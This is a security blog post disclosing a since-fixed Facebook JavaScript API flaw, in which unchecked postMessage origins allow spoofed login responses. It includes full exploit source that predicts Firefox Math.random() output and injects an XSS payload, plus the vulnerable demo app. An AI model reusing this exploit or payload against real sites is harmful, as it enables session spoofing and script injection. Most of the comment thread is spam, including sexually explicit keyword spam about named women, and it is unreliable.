Saturday, September 29, 2012

Of HTML5 security, cross-domain Math.random() prediction and Facebook JavaScript API


In an earlier post, I talked about a technique called Cross-domain Math.random() prediction. And while the technique is interesting it is perhaps not intuitively clear in what cases it could be applied. So in this post I'll show an example vulnerability in Facebook which was actually the reason why I investigated this technique in the first place.

Earlier this year, I started looking at the Facebook JavaScript API to see if I can find any vulnerabilities there. What I found is that, when a user first visits the page which uses the API, the page opens a frame in the Facebook domain and this frame sends the information about the logged in user via HTML 5 postMessage mechanism. The actual vulnerability was that the API did not check the origin of this message. In other words, it didn't verify that the authentication response message actually originated from facebook.com domain, meaning that another window in another domain could send a spoofed authentication response message. Furthermore, sanity checks were not performed on the fields in the authentication response message (such as user id of the logged in user, access token etc) - the API just assumed that all of the data received is trustworthy. So in turn, if an application uses the API and assumes that all data coming from the API is trustworthy, this could lead to vulnerabilities in the application. For example, if the application uses something like

FB.getLoginStatus(function(response) {
   if (response.status === 'connected') {
      document.getElementById("greetings").innerHTML = "Some static text " + response.authResponse.userID;
   }
}

this would be OK if the user ID can only be composed of numbers, but in the case the user ID is controlled by the attacker, it could lead to XSS, for example, by sending the following as user ID

<img src=x onerror=alert(1)>

So far so good, but the problems arose when I actually attempted to exploit this. While the Facebook JavaScript API indeed didn't verify the origin of the authentication response message, when the API made an authentication request, the request contained some random numbers. These numbers were sent back in the authentication response message and the API verified that they matched. These random numbers were generated by the API using the JavaScript Math.random() function. What I found out then and described in more detail in the earlier post (http://ifsec.blogspot.com/2012/05/cross-domain-mathrandom-prediction.html) was that in some browsers in some cases, the output of Math.random() can be predicted. So in the end I was able to exploit this on an example vulnerable application. The steps of the exploit are outlined below.

1. The exploit creates a window with the vulnerable Facebook application. Let's call this window W. By creating a new window, its random number generator is initialized based on the current time. API in W gets initialized and it is expecting an authentication response message from the facebook.com domain.

2. Based on the current time, several predictions are made about the state of the random generator in W. Random parameters of the API messages are constructed based on these predictions.

3. For each PRNG state prediction, an authentication response message that contains an XSS payload in the user_id parameter is constructed. This message is sent to W.

4. IF the message sent in step 3 reaches W before the "real" authentication response message coming from the facebook.com domain, the fake message will be accepted and parsed and the real message from the facebook.com domain will be discarded.

5. If the application uses authResponse to form any HTML code and assumes authResponse is clean, the XSS payload will be executed.

The full source code of the exploit for Mozilla Firefox is given below. Note that it is based on the code given here.

<html>
  <head>
    <script>
      var maxms = 10000;
      var delay = 100;
      var appurl = "http://fratar.zemris.fer.hr/fbapp/index.html";
      
      //in order to avoid precision issues
      //we split each 48-bit number
      //into two 24-bit halves (_lo & _hi)
      var a_hi = 0x5DE;
      var a_lo = 0xECE66D;
      var b = 0x0B;
      var state_lo = 0;
      var state_hi = 0;
      var max_half = 0x1000000;
  
      //advances the state of the (previously initialized) PRNG
      function advanceState() {
        var tmp_lo,tmp_hi,carry;
        tmp_lo = state_lo*a_lo + b;
        tmp_hi = state_lo*a_hi + state_hi*a_lo;
        if(tmp_lo>=max_half) {
          carry = Math.floor(tmp_lo/max_half);
          tmp_hi = tmp_hi + carry;
          tmp_lo = tmp_lo % max_half;
        }
        tmp_hi = tmp_hi % max_half;
        state_lo = tmp_lo;
        state_hi = tmp_hi;
      }
  
      //inits PRNG
      function InitRandPredictor(seedTime) {
        var seed_lo,seed_hi;
        seed_hi = Math.floor(seedTime/max_half);
        seed_lo = seedTime%max_half;
        state_lo = seed_lo ^ a_lo;
        state_hi = seed_hi ^ a_hi;
      } 
  
      //gets the next random() result according to the predicted PRNG state
      function PredictRand() {
        var first,second;
        var num, res;
    
        advanceState();
        first = (state_hi * 4) + Math.floor(state_lo/0x400000);
        advanceState();
        second = (state_hi * 8) + Math.floor(state_lo/0x200000);
        num = first * 0x8000000 + second;
    
        res = num/Math.pow(2,53);
    
        return res;
      }      
      
      //gets the next guid() result according to the predicted PRNG state
      function PredictGuid() {
        return 'f' + (PredictRand() * (1 << 30)).toString(16).replace('.', '');
      }
      
      var w,n,guids;
      
      //starts the exploit
      function start() {
        var d = new Date();
        n = d.getTime();
        
        //generate possible guids based on the current time
        guids = new Array(maxms);
        for(var i=0;i<maxms;i++) {
          InitRandPredictor(n+i);
          guids[i] = new Array(6);
          for(var j=0;j<6;j++) {
            guids[i][j] = PredictGuid();
          }
        }

        //create a new window with the app
        w = window.open(appurl);  

        //post spoofed messages to the app
        postmessages();
      }
      
      function writeguids() {
        var i,j;
        var str = "";
        for(i=0;i<maxms;i++) {
          for(j=0;j<10;j++) {
            str += guids[i][j] + " , ";
          }
          str += "<br />";
        }
        document.getElementById("guids").innerHTML = str;
      }
  
      var messagessent, signed_request, intervalId;
  
      //posts all messages corresponding to the possible PRNG states to the vulnerable app
      function postmessage() {
        for(var i=0;i<maxms;i++) {
          message = "_FB_" + guids[i][2] + "cb=" + guids[i][5] + "&origin=blah&domain=blah&relation=parent&frame=" + guids[i][4] + "&code=1.1111111111111111.1111.1111111111.1-111111111111111111111-11111111111_111111111" + "&signed_request=" + signed_request + "&access_token=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&expires_in=1000000&https=0";
          w.postMessage(message,"*");
        }
      }
      
      //post messages after "delay" in which the vulnerable app is opened and initialized
      function postmessages() {
        messagessent = 0;
        var m1 = '{"algorithm":"HMAC-SHA256","code":"1.1111111111111111.1111.1111111111.1-111111111111111|111111111111111111111111111","issued_at":' + Math.floor(n/1000).toString() + ',"user_id":"1 <img src=x onerror=alert(1)>"}';
        signed_request = "1_11111111111111111111111111111111111111111." + window.btoa(m1);
        
        intervalId = setTimeout("postmessage()",delay);
      }
      
    </script>
  </head>
    <button onclick="start()">Click Me!</button>
    <div id="guids"></div>
  </body>
</html>


The source code of the of an example application that was used to demonstrate the vulnerability is givene below.

<html>
<head>
</head>
<body>
<div id="fb-root">
<fb:name uid="loggedinuser" capitalize="true"></fb:name>
<fb:profile-pic uid="loggedinuser"></fb:profile-pic>
</div>
<div id="greetings"></div>
<script>
  window.fbAsyncInit = function() {
    FB.init({
      appId      : '259710214039921', // App ID
      status     : true, // check login status
      cookie     : true, // enable cookies to allow the server to access the session
      xfbml      : true, // parse XFBML
      oauth      : true
    });
    
    FB.getLoginStatus(function(response) {
    if (response.status === 'connected') {
        //alert('connected,' + response.authResponse.userID);
        document.getElementById("greetings").innerHTML = "Hi! Your Facebook ID is " + response.authResponse.userID;
      } else if (response.status === 'not_authorized') {
        //alert('not_authorized');
         FB.login(function(response) {});
      } else {
        //alert('none');
         FB.login(function(response) {});
      }
     });    
 
    // Additional initialization code here
  };

  // Load the SDK Asynchronously
  (function(d){
     var js, id = 'facebook-jssdk', ref = d.getElementsByTagName('script')[0];
     if (d.getElementById(id)) {return;}
     js = d.createElement('script'); js.id = id; js.async = true;
     js.src = "//connect.facebook.net/en_US/all.js";
     //js.src = "all2.js";
     ref.parentNode.insertBefore(js, ref);
   }(document));
</script>
</body>
</html>


You can see a sucessful exploit attempt in the image below.



Facebook adressed this issue and now the API checks the origin of incoming messages.

35 comments:

Josip Franjković said...

Awesome, simply awesome!
Thanks for the post, I have learned few new things from it.

Now I shall try to abuse it :D

h43z said...

thx4share!

[Ben Hayak] said...

Math.random prediction...
Very dedicated, also that is quite impressive thinking of how to gain a successful exploit for the application's DOM un-sanitized html write vulnerability!
liked your straight-forward writing as well.

Awesome work!

Unknown said...

Thanks for this great introduction to game development using HTML5 canvas, I managed to create this game after reading your post html5

Unknown said...

good one i like this one
netlon mesh in Coimbatore

aliyaa said...


I would like to appreciate your hard work you did write this post, Thanks for sharing this valuable post. The harvard generator is a great site.

IT said...

HTML5 Training in Chennai HTML5 Training in Chennai JQuery Training in Chennai JQuery Training in Chennai JavaScript Training in Chennai JavaScript Training in Chennai Full Stack Developer Training in Chennai Full Stack Developer Training in Chennai


AngularJS Training in Chennai AngularJS Training in Chennai Node.js Training in CHennai Angular 2 Training in Chennai Angular 2 Training in Chennai Node.js Training in CHennai Node.js Training in chennai MEAN Developer Training in Chennai

IT said...

Wow. This really made my day. Thanks a lot!

HTML5 Training in ChennaiHTML5 Training in Chennai JavaScript Training in Chennai JavaScript Training in Chennai

JavaScript Training Courses JavaScript Training Courses | Javascript Online Training Angular 2 Training in Chennai Angular 2 Training in Chennai

Ancy merina said...
This comment has been removed by the author.
anosh said...

خدمات نقل وتخزين الاثاث
تعرف شركة شراء اثاث مستعمل جدة
ان الاثاث من اكثر الاشياء التي لها ثمن غالي ومكلف للغايةويحتاج الي عناية جيدة وشديدة لقيام بنقلة بطريقة غير مثالية وتعرضة للخدش او الكسر نحن في غني عنه فأن تلفيات الاثاث تؤدي الي التكاليف الباهظة نظرا لتكلفة الاثاث العالية كما انه يؤدي الي الحاجه الي تكلفة اضافية لشراء اثاث من جديد ،
شركة شراء اثاث مستعمل بجدة
، ونظرا لان شركة نقل اثاث بجدة من الشركات التى تعلم جيدا حجم المشكلات والاضرار التى تحدث وهي ايضا من الشركات التى على دراية كاملة بكيفية الوصول الى افضل واحسن النتائج فى عملية النقل ،كل ماعليك ان تتعاون مع شركة شراء الاثاث المستعمل بجدة والاعتماد عليها بشكل كلي في عملية نقل الاثاث من اجل الحصول علي افضل النتائج المثالية في عمليات النقل
من اهم الخدمات التي تقدمها شركة المستقبل في عملية النقل وتجعلك تضعها من
ضمن اوائل الشركات هي :
اعتماد شراء الاثاث المستعمل بجدة علي القيام بأعمال النقل علي عدة مراحل متميزة من اهما اثناء القيام بالنقل داخل المملكة او خارجها وهي مرحلة تصنيف الاثاث عن طريق المعاينة التي تتم من قبل الخبراء والفنين المتخصصين والتعرف علي اعداد القطع الموجودة من قطع خشبية او اجهزة كهربائية ا تحف او اثاث غرف وغيرهم.
كما اننا نقوم بمرحلة فك الاثاث بعد ذلك وتعتمد شركتنا في هذة المرحلة علي اقوي الاساليب والطرق المستخدمة ويقوم بذلك العملية طاقم كبير من العمالة المتربة للقيام بأعمال الفك والتركيب.
ارقام شراء الاثاث المستعمل بالرياضثم تأتي بعد ذلك مرحلة التغليف وهي من اهم المراحل التي تعمل علي الحفاظ علي اثاث منزلك وعلي كل قطعة به وتتم عملية التغليف بطريقة مميزة عن باقي الشركات.
محلات شراء الاثاث المستعمل بالرياضويأتي بعد ذلك للمرحلة الاخيرة وهي نقل الاثاث وتركيبة ويتم اعتمادنا في عملية النقل علي اكبر الشاحنات المميزة التي تساعد علي الحفاظ علي كل قطع اثاثك اثناء عملية السير والنقل كما اننا لا نتطرق الي عمليات النقل التقليدية لخطورتها علي الاثاث وتعرضة للخدش والكسر .
تخزين الاثاث بالرياض
ارقام شراء الاثاث المستعمل بجدة
تمتلك شركة المستقبل افضل واكبر المستودعات المميزة بجدة والتي تساعد علي تحقيق اعلي مستوي من الدقة والتميز فأذا كنت في حيرة من اتمام عملية النقل والتخزين فعليك الاستعانة بشركة نقل اثاث بجدة والاتصال بنا ارقام محلات شراء الاثاث المستعمل بجدة
والتعاقد معنا للحصول علي كافة خدماتنا وعروضنا المقدمة بأفضل الاسعار المقدمة لعملائنا الكرام .

rithiaanandh said...

A universal message I suppose, not giving up is the formula for success I think. Some things take longer than others to accomplish, so people must understand that they should have their eyes on the goal, and that should keep them motivated to see it out till the end.
Sql server dba online training

Repairtech Solutions said...

Great article. I am dealing with many of these issues as well.. onsite mobile repair bangalore Way cool! Some extremely valid points! I appreciate you writing this write-up and also the rest of the site is really good. asus display repair bangalore Excellent web site you have here.. It’s hard to find excellent writing like yours these days. I honestly appreciate people like you! Take care!! huawei display repair bangalore

Repairtech Solutions said...

This is a topic which is near to my heart... Thank you! Where are your contact details though? online laptop repair center bangalore I seriously love your site.. Great colors & theme. Did you create this amazing site yourself? Please reply back as I’m trying to create my very own blog and would like to know where you got this from or just what the theme is called. Thank you! dell repair center bangalore

Repairtech Solutions said...

I really like it when folks get together and share thoughts. Great website, keep it up! acer repair center bangalore Great info. Lucky me I found your site by chance (stumbleupon). I've book marked it for later! macbook repair center bangalore

Unknown said...


This is most informative and also this post most user friendly and super navigation to all posts. Thank you so much for giving this information to me.SQL Server DBA training in Chennai.
Java training in chennai | Java training in annanagar | Java training in omr | Java training in porur | Java training in tambaram | Java training in velachery

Susan said...

Insta stalker With best Instagram profile web viewer, you can stalk any users and stories highlights, Anonymously Online Instagram User Posts and Highlights ...

John said...

Insta stalker With best Instagram profile web viewer, you can stalk any users and stories highlights, Anonymously Online Instagram User Posts and Highlights ... دانلود آهنگ قدیمی

Joe said...

Organic Chemistry tutor
hadoop training in chennai
Well engineering consultancy
Well cost estimates

Unknown said...


Positive site, where did u come up with the information on this posting?I have read a few of the articles on your website now, and I really like your style. Thanks a million and please keep up the effective work.

Best Software Development Agency Dubai UAE

Unknown said...

I found so many interesting stuff in your blog especially its discussion. From the tons of comments on your articles, I guess I am not the only one having all the enjoyment here! keep up the good work...



Digital marketing Agency Dubai UAE

Unknown said...


Thanks For sharing this Superb article.I use this Article to show my assignment in college.it is useful For me Great Work.

Web Development Agency Dubai UAE

fuel digital vignesh said...

We are the Best Digital Marketing Agency in Chennai,Coimbatore,Madurai and change makers of digital! For Enquiry Contact us @+91 9791811111
digital marketing agencies in chennai
seo service in chennai
website designers in chennai
Best SMO services in Chennai
Best content marketers in Chennai
best logo makers in chennai
google adwords service in chennai

Rohit said...

It was reaaly wonderful reading your article. # BOOST Your GOOGLE RANKING.It’s Your Time To Be On #1st Page
Our Motive is not just to create links but to get them indexed as will
Increase Domain Authority (DA).We’re on a mission to increase DA PA of your domain
High Quality Backlink Building Service
1000 Backlink at cheapest
50 High Quality Backlinks for just 50 INR
2000 Backlink at cheapest
5000 Backlink at cheapest

lkrasilnikovaludmila1976 said...

Unders has spent over 20 years as a student of health and wellnessmouni roy boobs anushka shetty naked tara sutaria boobs hansika nude sara ali khan naked taylor swift nude taylor swift nude brie larson boobs indian actress naked keerthi suresh boobs

SOFTWARE COMPANY said...

informative article
web design

Rohit said...

Hoola Wonderful Writing Skills.Just AwesomeLinkfeeder2.0 Linkfeeder2.0 Linkfeeder2.0 Linkfeeder2.0 Linkfeeder2.0 Linkfeeder2.0 Linkfeeder2.0 Linkfeeder2.0 Linkfeeder2.0 Linkfeeder2.0

Derek Lafortune said...

I simply needed to appreciate you again. I’m not certain the things that I would have taken care of in the absence of the points contributed by you on my problem. It seemed to be the daunting problem for me, however , looking at a new specialized form you handled it took me to weep over fulfillment. I am grateful for this help and in addition trust you are aware of a powerful job you happen to be accomplishing training most people through the use of a site. More than likely you’ve never come across all of us.

I intended to post you a bit of observation so as to thank you so much as before regarding the magnificent pointers you’ve provided here. It’s strangely open-handed with you to offer freely exactly what a few people would have distributed as an e book in order to make some dough for themselves, primarily considering the fact that you might well have tried it in case you decided. Those smart ideas in addition acted like a easy way to fully grasp that other people have the identical eagerness just like my personal own to grasp more in terms of this problem. I think there are lots of more pleasurable times ahead for individuals who looked over your website.

would like to show my appreciation to the writer for rescuing me from this type of situation. After looking through the the net and seeing methods which were not pleasant, I figured my life was over. Living minus the answers to the problems you’ve sorted out by way of your entire short article is a crucial case, and those that might have adversely affected my entire career if I hadn’t come across your web site. Your actual capability and kindness in maneuvering all the pieces was vital. I don’t know what I would have done if I had not come upon such a stuff like this. I can at this time look ahead to my future. Thanks for your time very much for this high quality and results-oriented guide. I won’t hesitate to refer your site to anyone who requires counselling about this issue.

My wife and i ended up being so fortunate that Jordan managed to deal with his inquiry out of the precious recommendations he was given out of the blog. It’s not at all simplistic just to find yourself giving away tactics which often a number of people have been trying to sell. And we realize we’ve got the writer to be grateful to because of that. All of the explanations you made, the easy website menu, the friendships your site help engender – it’s got most fabulous, and it’s really aiding our son in addition to the family understand the topic is enjoyable, and that’s really pressing. Thank you for the whole lot!

Derek Lafortune said...

Wow, this was interesting to read. Don't you think it's worth posting these thoughts on Instagram? After all, this social network is now very popular. By the way, I advise you to use https://viplikes.net/buy-instagram-followers in order to quickly increase their number and promote your account to the top.

ICT said...

Thank you for nice information
Please visit our website: https://uhamka.ac.id/

Fachrul Rozi said...

thank you for nice information
visit :

https://uhamka.ac.id/

Gulshan said...

Thanks for sharing this useful information. I am associated with Assystant.
Assystant is a privately held technology company that provides next-generation digital consulting and services to growth-seeking businesses across the Americas, Europe, MENA, and APAC regions.
Assystant

periyannan said...

Thank you for the informative post. It was thoroughly helpful to me. Keep posting more such articles and enlighten us.
evs full form
raw agent full form
full form of tbh in instagram
dbs bank full form
https full form
tft full form
pco full form
kra full form in hr
tbh full form in instagram story
epc full form

TubeViews.co said...

Exellent your post. i reaching daily on your blogs. thanks for sharing this informative information.
Buy YouTube Views
Buy YouTube Subscribers
Buy YouTube Live Stream Views
Buy Facebook Live Views
Buy Instagram Reels Views
Buy Instagram Live Views
Buy Instagram Followers
Buy Facebook Views
Buy 500 YouTube Views

Airlines Policy 247 said...

“Airlinespolicy247.com” tells about policies of different airlines under one hood. Passengers usually get confused about Flight Change Policy, Cancellation Policy, Baggage Policy, Check-In Policy, and Pet Policy. We cover all of these policies of different airlines and you will find everything in one place. With us, you enjoy the benefits of getting knowledge of every policy of each airline which you must know before traveling with an airline.
American Airlines Flight Change Policy

kaashivit said...

Awesome..You have clearly explained …Its very useful for me to know about new things..Keep on blogging..
eniac full form in computer
dvd full form
sit full form
pcc full form
iucn full form
full form of lcd
brics full form
tally erp full form
full form of ctbt
crpf full form